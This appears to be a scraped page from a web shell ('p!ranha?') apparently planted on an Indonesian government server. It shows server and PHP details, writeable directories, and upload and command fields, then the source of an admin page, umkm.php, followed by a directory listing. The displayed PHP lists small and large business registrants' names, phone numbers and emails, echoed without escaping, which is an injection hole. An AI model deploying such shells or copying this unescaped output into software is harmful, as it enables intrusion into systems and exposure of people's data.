p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/admin/page/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/admin/page/umkm.php
<section role="main" class="content-body">
<?php
if($_GET['tipe']=='umkm') {	
?>	
					<!-- start: page -->
						<section class="panel panel-featured panel-featured-primary" style="margin-top:-60px;">
							<header class="panel-heading">
								<div class="panel-actions">
									<a href="#" class="fa fa-caret-down"></a>
								</div>
								<h2 class="panel-title"><i class="fa fa-list"></i> DATA UMKM</h2>
							</header>
							<div class="panel-body">

								<table class="table table-bordered table-striped mb-none" id="datatable-default">
									<thead>
										<tr>
											<th width="10px" rowspan="2">No</th>
											<th rowspan="2">Tgl. Daftar</th>											
											<th rowspan="2">Nama UMKM</th>
											<th rowspan="2">Nama Pemilik</th>
											<th rowspan="2">No. HP/WA</th>
											<th rowspan="2">Jenis Usaha</th>
											<th rowspan="2">Alamat UMKM</th>
											<th rowspan="2">Kekayaan Bersih</th>
											<th rowspan="2">Omset Tahunan</th>											
											<th colspan="5" style="text-align:center">Media Sosial</th>
											<th rowspan="2">Perizinan</th>
											<th rowspan="2">Foto</th>
										</tr>
										<tr>
											<th>Instagram</th>
											<th>Youtube</th>	
											<th>Facebook</th>
											<th>Website</th>
											<th>Lainnya</th>
										</tr>										
									</thead>
									<tbody>
									<?php
									$stmt = $conn->prepare("SELECT * FROM tbl_UMKM ORDER BY umkmID DESC"); 
									$stmt->execute();
									$data = $stmt->fetchAll();
									$stmt->closeCursor();
									$x=1;
									foreach($data as $v){
										$medsos = explode(';',$v['umkmMediaSosial']);
									echo '
									    <tr>										
                                        	<td>'.$x.'</td>
                                        	<td>'.tglNormal($v['umkmTglDaftar'],'/').'</td>
                                        	<td>'.$v['umkmNama'].'</td>
                                        	<td>'.$v['umkmPemilik'].'</td>
                                        	<td>'.$v['umkmHP'].'</td>
                                        	<td>'.$v['umkmJenis'].'</td>
                                        	<td>'.$v['umkmAlamat'].'</td>
                                        	<td>'.$v['umkmModal'].'</td>
                                        	<td>'.$v['umkmOmset'].'</td>
                                        	<td>'.$medsos[0].'</td>
                                        	<td>'.$medsos[1].'</td>
                                        	<td>'.$medsos[2].'</td>
                                        	<td>'.$medsos[3].'</td>
                                        	<td>'.$medsos[4].'</td>
                                        	<td align="center">
												<a class="mb-xs mt-xs mr-xs btn btn-default" role="button" href="https://dpmptsp.pekanbaru.go.id/promosi/assets/upload/'.$v['umkmPerizinan'].'" target="_blank"><i class="fa fa-file"></i></a>
											</td>
                                        	<td align="center">
												<a class="mb-xs mt-xs mr-xs btn btn-default" role="button" href="https://dpmptsp.pekanbaru.go.id/promosi/assets/upload/'.$v['umkmFoto'].'"  target="_blank"><i class="fa fa-image"></i></a>
											</td>											
											
											</tr>';											
									$x++;
									}
									?>										
									</tbody>
								</table>
							</div>						
						</section>
<?php
}elseif(($_GET['tipe']=='ub')){
?>	
						<section class="panel panel-featured panel-featured-primary" style="margin-top:-60px;">
							<header class="panel-heading">
								<div class="panel-actions">
									<a href="#" class="fa fa-caret-down"></a>
								</div>
								<h2 class="panel-title"><i class="fa fa-list"></i> DATA USAHA BESAR</h2>
							</header>
							<div class="panel-body">

								<table class="table table-bordered table-striped mb-none" id="datatable-default">
									<thead>
										<tr>
											<th width="10px" rowspan="2">No</th>
											<th rowspan="2">Tgl. Daftar</th>											
											<th rowspan="2">Nama</th>
											<th rowspan="2">Jabatan</th>
											<th rowspan="2">No. HP</th>
											<th rowspan="2">Email</th>
											<th rowspan="2">Jenis Usaha</th>
											<th colspan="5" style="text-align:center">Media Sosial</th>
											<th rowspan="2">Perizinan</th>
											<th rowspan="2">Foto</th>
										</tr>
										<tr>
											<th>Instagram</th>
											<th>Youtube</th>	
											<th>Facebook</th>
											<th>Website</th>
											<th>Lainnya</th>
										</tr>										
									</thead>
									<tbody>
									<?php
									$stmt = $conn->prepare("SELECT *  FROM tbl_UB ORDER BY ubID DESC"); 
									$stmt->execute();
									$data = $stmt->fetchAll();
									$stmt->closeCursor();
									$x=1;
									foreach($data as $v){
										$medsos = explode(';',$v['ubMediaSosial']);
									echo '
									    <tr>										
                                        	<td>'.$x.'</td>
                                        	<td>'.tglNormal($v['ubTglDaftar'],'/').'</td>
                                        	<td>'.$v['ubNama'].'</td>
                                        	<td>'.$v['ubJabatan'].'</td>
                                        	<td>'.$v['ubHP'].'</td>
                                        	<td>'.$v['ubEmail'].'</td>
                                        	<td>'.$v['ubJenis_usaha'].'</td>
                                        	<td>'.$medsos[0].'</td>
                                        	<td>'.$medsos[1].'</td>
                                        	<td>'.$medsos[2].'</td>
                                        	<td>'.$medsos[3].'</td>
                                        	<td>'.$medsos[4].'</td>
                                        	<td align="center">
												<a class="mb-xs mt-xs mr-xs btn btn-default" role="button" href="https://dpmptsp.pekanbaru.go.id/promosi/assets/upload/'.$v['ubPerizinan'].'" target="_blank"><i class="fa fa-file"></i></a>
											</td>
                                        	<td align="center">
												<a class="mb-xs mt-xs mr-xs btn btn-default" role="button" href="https://dpmptsp.pekanbaru.go.id/promosi/assets/upload/'.$v['ubFoto'].'"  target="_blank"><i class="fa fa-image"></i></a>
											</td>											
											
											</tr>';											
									$x++;
									}
									?>										
									</tbody>
								</table>
							</div>						
						</section>

<?php	
}
?>

</section>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:53:34
1000 / 1000
0755
about.php
5.217 KB
January 13 2024 08:49:44
1000 / 1000
0755
artikel.php
10.718 KB
January 13 2024 08:49:44
1000 / 1000
0755
dashboard.php
6.179 KB
January 13 2024 08:49:44
1000 / 1000
0755
formPMA.php
9.67 KB
January 13 2024 08:49:45
1000 / 1000
0755
formPMDN.php
9.462 KB
January 13 2024 08:49:45
1000 / 1000
0755
formUMKM.php
6.325 KB
January 13 2024 08:49:45
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:49:45
1000 / 1000
0755
jabatan.php
6.976 KB
January 13 2024 08:49:45
1000 / 1000
0755
log.php
11.471 KB
January 13 2024 08:49:45
1000 / 1000
0755
partner.php
8.179 KB
January 13 2024 08:49:45
1000 / 1000
0755
perizinan.php
7.02 KB
January 13 2024 08:49:45
1000 / 1000
0755
promosi.php
11.417 KB
January 13 2024 08:49:45
1000 / 1000
0755
struktur.php
13.235 KB
January 13 2024 08:49:45
1000 / 1000
0755
umkm.php
6.537 KB
January 13 2024 08:49:45
1000 / 1000
0755
user.php
20.516 KB
January 13 2024 08:49:45
1000 / 1000
0755